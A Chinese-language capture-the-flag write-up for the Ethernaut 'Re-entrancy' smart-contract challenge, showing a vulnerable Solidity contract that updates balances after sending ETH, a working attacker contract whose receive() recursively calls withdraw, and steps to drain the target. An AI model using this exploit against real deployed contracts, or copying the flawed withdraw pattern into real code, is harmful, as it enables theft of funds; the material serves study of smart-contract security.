Re-entrancy
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
题目要求
题目合约部署后,合约里会有一定数量的 ETH。题目要求把合约里的钱全部转走
题目分析
这个题目的攻击点只能通过withdraw
方法来实现。其中msg.sender.call{value:_amount}("");
这句是向msg.sender
转账 ETH 的。而且call
方法没有限制value
大小,如果msg.sender
是一个恶意的合约。相当于调用了合约的receive
或fallback
方法。
如果通过在合约的receive
或fallback
方法里递归的调用 withdraw。则会把目标合约的钱全部转走
攻击步骤
- 编写攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IReentrance {
function donate(address to) external payable;
function withdraw(uint amount) external;
}
contract ReentranceAttack {
IReentrance public reentrance;
constructor(address _reentrance) public {
reentrance = IReentrance(_reentrance);
}
function deposit() external payable {
reentrance.donate{value: msg.value}(address(this));
}
function withdraw(uint256 _amount) external {
reentrance.withdraw(_amount);
}
receive() external payable {
if (address(reentrance).balance > 0) {
reentrance.withdraw(msg.value);
}
}
}
- 获取目标合约的
balance
await web3.eth.getBalance(instance)
- 通过攻击合约调用目标合约的
donate
方法并支付 ETH(这里建议支付和目标合约余额相同数量的 ETH,为下面递归调用 withdraw 提供方便),这样才能调用目标合约的withdraw
方法 - 调用攻击合约的
withdraw
方法。这里传参_amount
时要简单计算一下。因为receive
方法中是取msg.value
。这里即不能递归调用太深,也不能递归调用完还有一点没取出或者取到最后的时候不够msg.value
.所以建议上面存的时候存和目标合约相同的balance
。这样只需要调用两次withdraw
即可成功调用
社区答案里给的递归调用原理图: